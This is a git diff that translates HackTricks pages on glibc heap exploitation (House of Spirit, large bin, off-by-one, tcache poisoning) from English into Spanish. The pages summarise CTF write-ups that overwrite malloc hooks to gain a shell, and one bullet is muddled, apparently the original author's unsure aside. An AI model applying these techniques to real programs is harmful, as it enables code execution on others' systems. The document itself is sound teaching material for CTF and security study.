``` -
-### Goal +### Objetivo -- Be able to add into the tcache / fast bin an address so later it's possible to allocate it +- Poder agregar una dirección en el tcache / fast bin para que luego sea posible asignarla. -### Requirements +### Requisitos -- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin. +- Este ataque requiere que un atacante pueda crear un par de chunks rápidos falsos que indiquen correctamente el valor del tamaño y luego pueda liberar el primer chunk falso para que entre en el bin. -### Attack +### Ataque -- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes -- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address - -**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good: +- Crear chunks falsos que eviten las verificaciones de seguridad: necesitarás 2 chunks falsos que indiquen en las posiciones correctas los tamaños correctos. +- De alguna manera, gestionar liberar el primer chunk falso para que entre en el fast o tcache bin y luego se asigne para sobrescribir esa dirección. +**El código de** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **es excelente para entender el ataque.** Aunque este esquema del código lo resume bastante bien: ```c /* - this will be the structure of our two fake chunks: - assuming that you compiled it for x64 +this will be the structure of our two fake chunks: +assuming that you compiled it for x64 - +-------+---------------------+------+ - | 0x00: | Chunk # 0 prev size | 0x00 | - +-------+---------------------+------+ - | 0x08: | Chunk # 0 size | 0x60 | - +-------+---------------------+------+ - | 0x10: | Chunk # 0 content | 0x00 | - +-------+---------------------+------+ - | 0x60: | Chunk # 1 prev size | 0x00 | - +-------+---------------------+------+ - | 0x68: | Chunk # 1 size | 0x40 | - +-------+---------------------+------+ - | 0x70: | Chunk # 1 content | 0x00 | - +-------+---------------------+------+ ++-------+---------------------+------+ +| 0x00: | Chunk # 0 prev size | 0x00 | ++-------+---------------------+------+ +| 0x08: | Chunk # 0 size | 0x60 | ++-------+---------------------+------+ +| 0x10: | Chunk # 0 content | 0x00 | ++-------+---------------------+------+ +| 0x60: | Chunk # 1 prev size | 0x00 | ++-------+---------------------+------+ +| 0x68: | Chunk # 1 size | 0x40 | ++-------+---------------------+------+ +| 0x70: | Chunk # 1 content | 0x00 | ++-------+---------------------+------+ - for what we are doing the prev size values don't matter too much - the important thing is the size values of the heap headers for our fake chunks +for what we are doing the prev size values don't matter too much +the important thing is the size values of the heap headers for our fake chunks */ ``` - > [!NOTE] -> Note that it's necessary to create the second chunk in order to bypass some sanity checks. +> Tenga en cuenta que es necesario crear el segundo chunk para eludir algunas verificaciones de sanidad. -## Examples +## Ejemplos - **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html) - - **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF - - **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\ - Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell. +- **Libc infoleak**: A través de un desbordamiento es posible cambiar un puntero para que apunte a una dirección GOT con el fin de filtrar una dirección libc a través de la acción de lectura del CTF. +- **House of Spirit**: Abusando de un contador que cuenta el número de "rifles", es posible generar un tamaño falso del primer chunk falso, luego abusando de un "mensaje" es posible falsificar el segundo tamaño de un chunk y finalmente, abusando de un desbordamiento, es posible cambiar un puntero que va a ser liberado para que nuestro primer chunk falso sea liberado. Luego, podemos asignarlo y dentro de él estará la dirección donde se almacena el "mensaje". Entonces, es posible hacer que esto apunte a la entrada `scanf` dentro de la tabla GOT, para que podamos sobrescribirlo con la dirección del sistema.\ +La próxima vez que se llame a `scanf`, podemos enviar la entrada `"/bin/sh"` y obtener un shell. - [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/) - - **Glibc leak**: Uninitialized stack buffer. - - **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive. +- **Glibc leak**: Búfer de pila no inicializado. +- **House of Spirit**: Podemos modificar el primer índice de un array global de punteros de heap. Con una sola modificación de byte, usamos `free` en un chunk falso dentro de un chunk válido, de modo que obtenemos una situación de chunks superpuestos después de asignar nuevamente. Con eso, un simple ataque de envenenamiento de Tcache funciona para obtener una primitiva de escritura arbitraria. -## References +## Referencias - [https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit) diff --git a/src/binary-exploitation/libc-heap/large-bin-attack.md b/src/binary-exploitation/libc-heap/large-bin-attack.md index fb8a721c9..0fd49622d 100644 --- a/src/binary-exploitation/libc-heap/large-bin-attack.md +++ b/src/binary-exploitation/libc-heap/large-bin-attack.md @@ -2,57 +2,55 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -For more information about what is a large bin check this page: +Para más información sobre qué es un large bin, consulta esta página: {{#ref}} bins-and-memory-allocations.md {{#endref}} -It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +Es posible encontrar un gran ejemplo en [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). -Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met. +Básicamente, aquí puedes ver cómo, en la última versión "actual" de glibc (2.35), no se verifica: **`P->bk_nextsize`** permitiendo modificar una dirección arbitraria con el valor de un chunk de large bin si se cumplen ciertas condiciones. -In that example you can find the following conditions: +En ese ejemplo puedes encontrar las siguientes condiciones: -- A large chunk is allocated -- A large chunk smaller than the first one but in the same index is allocated - - Must be smalled so in the bin it must go first -- (A chunk to prevent merging with the top chunk is created) -- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin -- Then, the second large chunk is freed -- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]` -- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2 +- Se asigna un chunk grande +- Se asigna un chunk grande más pequeño que el primero pero en el mismo índice +- Debe ser más pequeño, así que debe ir primero en el bin +- (Se crea un chunk para evitar la fusión con el chunk superior) +- Luego, se libera el primer chunk grande y se asigna un nuevo chunk más grande que él -> Chunk1 va al large bin +- Luego, se libera el segundo chunk grande +- Ahora, la vulnerabilidad: El atacante puede modificar `chunk1->bk_nextsize` a `[target-0x20]` +- Luego, se asigna un chunk más grande que el chunk 2, por lo que chunk2 se inserta en el large bin sobrescribiendo la dirección `chunk1->bk_nextsize->fd_nextsize` con la dirección de chunk2 > [!TIP] -> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to. - -This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten: +> Hay otros escenarios potenciales, la cuestión es añadir al large bin un chunk que sea **más pequeño** que un chunk X actual en el bin, por lo que debe insertarse justo antes de él en el bin, y necesitamos poder modificar **`bk_nextsize`** de X, ya que ahí es donde se escribirá la dirección del chunk más pequeño. +Este es el código relevante de malloc. Se han añadido comentarios para entender mejor cómo se sobrescribió la dirección: ```c /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) - { - fwd = bck; // fwd = p1 - bck = bck->bk; // bck = p1->bk +{ +fwd = bck; // fwd = p1 +bck = bck->bk; // bck = p1->bk - victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) - victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize - fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 - } +victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk) +victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize +fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2 +} ``` +Esto podría usarse para **sobrescribir la variable global `global_max_fast`** de libc para luego explotar un ataque de fast bin con bloques más grandes. -This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks. +Puedes encontrar otra gran explicación de este ataque en [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). -You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html). - -### Other examples +### Otros ejemplos - [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/) - - Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). - - The write primitive is more complex, because `global_max_fast` is useless here. - - FSOP is needed to finish the exploit. +- Ataque de large bin en la misma situación en la que aparece en [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c). +- La primitiva de escritura es más compleja, porque `global_max_fast` es inútil aquí. +- Se necesita FSOP para terminar el exploit. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/off-by-one-overflow.md b/src/binary-exploitation/libc-heap/off-by-one-overflow.md index 000044db5..6ee08b6b0 100644 --- a/src/binary-exploitation/libc-heap/off-by-one-overflow.md +++ b/src/binary-exploitation/libc-heap/off-by-one-overflow.md @@ -1,115 +1,113 @@ -# Off by one overflow +# Desbordamiento por uno {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks. +Tener acceso a un desbordamiento de 1B permite a un atacante modificar el campo `size` del siguiente chunk. Esto permite manipular qué chunks están realmente liberados, generando potencialmente un chunk que contiene otro chunk legítimo. La explotación es similar a [double free](double-free.md) o chunks superpuestos. -There are 2 types of off by one vulnerabilities: +Hay 2 tipos de vulnerabilidades de desbordamiento por uno: -- Arbitrary byte: This kind allows to overwrite that byte with any value -- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00 - - A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk. - - This can be expoited with the [House of Einherjar](house-of-einherjar.md). - - If using Tcache, this can be leveraged to a [double free](double-free.md) situation. +- Byte arbitrario: Este tipo permite sobrescribir ese byte con cualquier valor. +- Byte nulo (off-by-null): Este tipo permite sobrescribir ese byte solo con 0x00. +- Un ejemplo común de esta vulnerabilidad se puede ver en el siguiente código donde el comportamiento de `strlen` y `strcpy` es inconsistente, lo que permite establecer un byte 0x00 al principio del siguiente chunk. +- Esto puede ser explotado con [House of Einherjar](house-of-einherjar.md). +- Si se utiliza Tcache, esto puede aprovecharse para una situación de [double free](double-free.md).
Off-by-null - ```c // From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/ int main(void) { - char buffer[40]=""; - void *chunk1; - chunk1 = malloc(24); - puts("Get Input"); - gets(buffer); - if(strlen(buffer)==24) - { - strcpy(chunk1,buffer); - } - return 0; +char buffer[40]=""; +void *chunk1; +chunk1 = malloc(24); +puts("Get Input"); +gets(buffer); +if(strlen(buffer)==24) +{ +strcpy(chunk1,buffer); +} +return 0; } ``` -
-Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28. +Entre otras verificaciones, ahora cada vez que un bloque está libre, el tamaño anterior se compara con el tamaño configurado en el bloque de metadatos, lo que hace que este ataque sea bastante complejo a partir de la versión 2.28. -### Code example: +### Ejemplo de código: - [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c) -- This attack is no longer working due to the use of Tcaches. - - Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)` +- Este ataque ya no funciona debido al uso de Tcaches. +- Además, si intentas abusar de él usando bloques más grandes (para que no se involucren los tcaches), recibirás el error: `malloc(): invalid next size (unsorted)` -### Goal +### Objetivo -- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one +- Hacer que un bloque esté contenido dentro de otro bloque, de modo que el acceso de escritura sobre ese segundo bloque permita sobrescribir el contenido del primero. -### Requirements +### Requisitos -- Off by one overflow to modify the size metadata information +- Desbordamiento off by one para modificar la información de metadatos del tamaño. -### General off-by-one attack +### Ataque general off-by-one -- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk. -- Free `C` (inserted into 0x20 Tcache free-list). -- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41. -- Now we have `B` containing the free chunk `C` -- Free `B` and allocate a 0x40 chunk (it will be placed here again) -- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning) +- Asignar tres bloques `A`, `B` y `C` (digamos tamaños 0x20), y otro para evitar la consolidación con el bloque superior. +- Liberar `C` (insertado en la lista libre Tcache de 0x20). +- Usar el bloque `A` para desbordar sobre `B`. Abusar del off-by-one para modificar el campo `size` de `B` de 0x21 a 0x41. +- Ahora tenemos `B` conteniendo el bloque libre `C`. +- Liberar `B` y asignar un bloque de 0x40 (se colocará aquí nuevamente). +- Podemos modificar el puntero `fd` de `C`, que sigue estando libre (envenenamiento de Tcache). -### Off-by-null attack +### Ataque off-by-null -- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is). -- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should. -- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c. -- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2. +- Se reservan 3 bloques de memoria (a, b, c) uno tras otro. Luego, se libera el del medio. El primero contiene una vulnerabilidad de desbordamiento off by one y el atacante abusa de ella con un 0x00 (si el byte anterior era 0x10, haría que el bloque del medio indicara que es 0x10 más pequeño de lo que realmente es). +- Luego, se asignan 2 bloques más pequeños en el bloque liberado del medio (b), sin embargo, como `b + b->size` nunca actualiza el bloque c porque la dirección apuntada es más pequeña de lo que debería. +- Luego, b1 y c se liberan. Como `c - c->prev_size` aún apunta a b (ahora b1), ambos se consolidan en un solo bloque. Sin embargo, b2 sigue estando entre b1 y c. +- Finalmente, se realiza un nuevo malloc reclamando esta área de memoria que en realidad contendrá b2, permitiendo al propietario del nuevo malloc controlar el contenido de b2. -This image explains perfectly the attack: +Esta imagen explica perfectamente el ataque:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Other Examples & References +## Otros Ejemplos y Referencias - [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks) - [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) - - Off-by-one because of `strlen` considering the next chunk's `size` field. - - Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning. +- Off-by-one debido a que `strlen` considera el campo `size` del siguiente bloque. +- Se está utilizando Tcache, por lo que un ataque general off-by-one funciona para obtener una primitiva de escritura arbitraria con envenenamiento de Tcache. - [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks) - - It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field. - - Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write. - - The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc. - - Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget. +- Es posible abusar de un off by one para filtrar una dirección del heap porque el byte 0x00 al final de una cadena está siendo sobrescrito por el siguiente campo. +- La escritura arbitraria se obtiene abusando del off by one para hacer que el puntero apunte a otro lugar donde se construirá una estructura falsa con punteros falsos. Luego, es posible seguir el puntero de esta estructura para obtener escritura arbitraria. +- La dirección de libc se filtra porque si el heap se extiende usando mmap, la memoria asignada por mmap tiene un desplazamiento fijo desde libc. +- Finalmente, se abusa de la escritura arbitraria para escribir en la dirección de \_\_free_hook con un one gadget. - [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb) - - There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content. - - In the writeup 5 initial chunks are created: - - chunk1 (0x200) - - chunk2 (0x50) - - chunk5 (0x68) - - chunk3 (0x1f8) - - chunk4 (0xf0) - - chunk defense (0x400) to avoid consolidating with top chunk - - Then chunk 1, 5 and 3 are freed, so: - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`. - - Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` - - Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning: - - ```python - [ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] - ``` - - ```python - [ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] - ``` - - Then, `0x200` bytes are allocated filling the original chunk 1 - - And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done - - Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook` - - Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk - - Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address +- Hay una vulnerabilidad de NULL off by one en la función `getline` que lee líneas de entrada del usuario. Esta función se utiliza para leer la "clave" del contenido y no el contenido. +- En el informe se crean 5 bloques iniciales: +- chunk1 (0x200) +- chunk2 (0x50) +- chunk5 (0x68) +- chunk3 (0x1f8) +- chunk4 (0xf0) +- chunk defensa (0x400) para evitar la consolidación con el bloque superior. +- Luego, se liberan los bloques 1, 5 y 3, así que: +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defensa ] +``` +- Luego, abusando de chunk3 (0x1f8), se abusa del off-by-one nulo escribiendo el prev_size como `0x4e0`. +- Nota cómo los tamaños de los bloques inicialmente asignados 1, 2, 5 y 3 más los encabezados de 4 de esos bloques suman `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +- Luego, se libera el bloque 4, generando un bloque que consume todos los bloques hasta el principio: +- ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defensa ] +``` +- ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defensa ] +``` +- Luego, se asignan `0x200` bytes llenando el bloque original 1. +- Y se asignan otros 0x200 bytes y se destruye chunk2 y por lo tanto no hay ninguna filtración y esto no funciona? Quizás esto no debería hacerse. +- Luego, se asigna otro bloque con 0x58 "a"s (sobrescribiendo chunk2 y alcanzando chunk5) y se modifica el `fd` del bloque rápido de chunk5 apuntando a `__malloc_hook`. +- Luego, se asigna un bloque de 0x68 para que el bloque rápido falso en `__malloc_hook` sea el siguiente bloque rápido. +- Finalmente, se asigna un nuevo bloque rápido de 0x68 y `__malloc_hook` se sobrescribe con una dirección de `one_gadget`. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index 117f462b6..790568e38 100644 --- a/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/src/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,23 +1,23 @@ -# Overwriting a freed chunk +# Sobrescribiendo un chunk liberado {{#include ../../banners/hacktricks-training.md}} -Several of the proposed heap exploitation techniques need to be able to overwrite pointers inside freed chunks. The goal of this page is to summarise the potential vulnerabilities that could grant this access: +Varias de las técnicas de explotación de heap propuestas necesitan poder sobrescribir punteros dentro de chunks liberados. El objetivo de esta página es resumir las vulnerabilidades potenciales que podrían otorgar este acceso: -### Simple Use After Free +### Uso Simple Después de Liberar -If it's possible for the attacker to **write info in a free chunk**, they could abuse this to overwrite the needed pointers. +Si es posible para el atacante **escribir información en un chunk libre**, podrían abusar de esto para sobrescribir los punteros necesarios. -### Double Free +### Doble Liberación -If the attacker can **`free` two times the same chunk** (free other chunks in between potentially) and make it be **2 times in the same bin**, it would be possible for the user to **allocate the chunk later**, **write the needed pointers** and then **allocate it again** triggering the actions of the chunk being allocated (e.g. fast bin attack, tcache attack...) +Si el atacante puede **`free` dos veces el mismo chunk** (liberando otros chunks entre medio potencialmente) y hacer que esté **2 veces en el mismo bin**, sería posible para el usuario **asignar el chunk más tarde**, **escribir los punteros necesarios** y luego **asignarlo de nuevo**, desencadenando las acciones del chunk siendo asignado (por ejemplo, ataque de fast bin, ataque de tcache...) -### Heap Overflow +### Desbordamiento de Heap -It might be possible to **overflow an allocated chunk having next a freed chunk** and modify some headers/pointers of it. +Podría ser posible **desbordar un chunk asignado teniendo a continuación un chunk liberado** y modificar algunos encabezados/punteros de este. -### Off-by-one overflow +### Desbordamiento Off-by-one -In this case it would be possible to **modify the size** of the following chunk in memory. An attacker could abuse this to **make an allocated chunk have a bigger size**, then **`free`** it, making the chunk been **added to a bin of a different** size (bigger), then allocate the **fake size**, and the attack will have access to a **chunk with a size which is bigger** than it really is, **granting therefore an overlapping chunks situation**, which is exploitable the same way to a **heap overflow** (check previous section). +En este caso sería posible **modificar el tamaño** del siguiente chunk en memoria. Un atacante podría abusar de esto para **hacer que un chunk asignado tenga un tamaño mayor**, luego **`free`** este, haciendo que el chunk sea **agregado a un bin de un tamaño diferente** (mayor), luego asignar el **tamaño falso**, y el ataque tendrá acceso a un **chunk con un tamaño que es mayor** de lo que realmente es, **otorgando por lo tanto una situación de chunks superpuestos**, que es explotable de la misma manera que un **desbordamiento de heap** (ver sección anterior). {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/tcache-bin-attack.md b/src/binary-exploitation/libc-heap/tcache-bin-attack.md index 7c69db95c..c599f7f0d 100644 --- a/src/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/src/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -2,46 +2,46 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -For more information about what is a Tcache bin check this page: +Para más información sobre qué es un Tcache bin, consulta esta página: {{#ref}} bins-and-memory-allocations.md {{#endref}} -First of all, note that the Tcache was introduced in Glibc version 2.26. +Primero que nada, ten en cuenta que el Tcache fue introducido en la versión 2.26 de Glibc. -The **Tcache attack** (also known as **Tcache poisoning**) proposed in the [**guyinatuxido page**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) is very similar to the fast bin attack where the goal is to overwrite the pointer to the next chunk in the bin inside a freed chunk to an arbitrary address so later it's possible to **allocate that specific address and potentially overwrite pointes**. +El **ataque Tcache** (también conocido como **envenenamiento de Tcache**) propuesto en la [**página de guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache_explanation/index.html) es muy similar al ataque de fast bin, donde el objetivo es sobrescribir el puntero al siguiente chunk en el bin dentro de un chunk liberado a una dirección arbitraria para que luego sea posible **asignar esa dirección específica y potencialmente sobrescribir punteros**. -However, nowadays, if you run the mentioned code you will get the error: **`malloc(): unaligned tcache chunk detected`**. So, it's needed to write as address in the new pointer an aligned address (or execute enough times the binary so the written address is actually aligned). +Sin embargo, hoy en día, si ejecutas el código mencionado, obtendrás el error: **`malloc(): unaligned tcache chunk detected`**. Por lo tanto, es necesario escribir como dirección en el nuevo puntero una dirección alineada (o ejecutar el binario suficientes veces para que la dirección escrita esté realmente alineada). -### Tcache indexes attack +### Ataque de índices Tcache -Usually it's possible to find at the beginning of the heap a chunk containing the **amount of chunks per index** inside the tcache and the address to the **head chunk of each tcache index**. If for some reason it's possible to modify this information, it would be possible to **make the head chunk of some index point to a desired address** (like `__malloc_hook`) to then allocated a chunk of the size of the index and overwrite the contents of `__malloc_hook` in this case. +Por lo general, es posible encontrar al principio del heap un chunk que contiene la **cantidad de chunks por índice** dentro del tcache y la dirección del **chunk cabeza de cada índice de tcache**. Si por alguna razón es posible modificar esta información, sería posible **hacer que el chunk cabeza de algún índice apunte a una dirección deseada** (como `__malloc_hook`) para luego asignar un chunk del tamaño del índice y sobrescribir el contenido de `__malloc_hook` en este caso. -## Examples +## Ejemplos - CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19_babyheap/index.html) - - **Libc info leak**: It's possible to fill the tcaches, add a chunk into the unsorted list, empty the tcache and **re-allocate the chunk from the unsorted bin** only overwriting the first 8B, leaving the **second address to libc from the chunk intact so we can read it**. - - **Tcache attack**: The binary is vulnerable a 1B heap overflow. This will be abuse to change the **size header** of an allocated chunk making it bigger. Then, this chunk will be **freed**, adding it to the tcache of chunks of the fake size. Then, we will allocate a chunk with the faked size, and the previous chunk will be **returned knowing that this chunk was actually smaller** and this grants up the opportunity to **overwrite the next chunk in memory**.\ - We will abuse this to **overwrite the next chunk's FD pointer** to point to **`malloc_hook`**, so then its possible to alloc 2 pointers: first the legit pointer we just modified, and then the second allocation will return a chunk in **`malloc_hook`** that it's possible to abuse to write a **one gadget**. +- **Fuga de información de Libc**: Es posible llenar los tcaches, agregar un chunk a la lista no ordenada, vaciar el tcache y **re-asignar el chunk de la bin no ordenada** solo sobrescribiendo los primeros 8B, dejando la **segunda dirección a libc del chunk intacta para que podamos leerla**. +- **Ataque Tcache**: El binario es vulnerable a un desbordamiento de heap de 1B. Esto se abusará para cambiar el **encabezado de tamaño** de un chunk asignado haciéndolo más grande. Luego, este chunk será **liberado**, agregándolo al tcache de chunks de tamaño falso. Después, asignaremos un chunk con el tamaño falso, y el chunk anterior será **devuelto sabiendo que este chunk era en realidad más pequeño** y esto brinda la oportunidad de **sobrescribir el siguiente chunk en memoria**.\ +Abusaremos de esto para **sobrescribir el puntero FD del siguiente chunk** para que apunte a **`malloc_hook`**, de modo que luego sea posible asignar 2 punteros: primero el puntero legítimo que acabamos de modificar, y luego la segunda asignación devolverá un chunk en **`malloc_hook`** que se puede abusar para escribir un **one gadget**. - CTF [https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19_cpp/index.html) - - **Libc info leak**: There is a use after free and a double free. In this writeup the author leaked an address of libc by readnig the address of a chunk placed in a small bin (like leaking it from the unsorted bin but from the small one) - - **Tcache attack**: A Tcache is performed via a **double free**. The same chunk is freed twice, so inside the Tcache the chunk will point to itself. Then, it's allocated, its FD pointer is modified to point to the **free hook** and then it's allocated again so the next chunk in the list is going to be in the free hook. Then, this is also allocated and it's possible to write a the address of `system` here so when a malloc containing `"/bin/sh"` is freed we get a shell. +- **Fuga de información de Libc**: Hay un uso después de liberar y un doble liberado. En este informe, el autor filtró una dirección de libc al leer la dirección de un chunk colocado en un bin pequeño (como filtrarlo de la bin no ordenada pero del pequeño). +- **Ataque Tcache**: Se realiza un Tcache a través de un 